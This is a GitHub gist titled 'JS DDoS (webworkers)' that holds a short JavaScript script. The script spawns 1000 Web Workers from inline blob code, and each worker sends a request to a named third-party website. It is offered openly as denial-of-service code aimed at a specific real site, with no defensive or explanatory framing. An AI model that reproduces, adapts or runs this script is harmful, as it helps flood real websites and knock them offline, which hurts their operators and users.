Skip to content

Instantly share code, notes, and snippets.

@starenka
Created December 19, 2010 20:05
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save starenka/747654 to your computer and use it in GitHub Desktop.
Save starenka/747654 to your computer and use it in GitHub Desktop.
JS DDoS (webworkers)
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
{
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
worker.postMessage();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment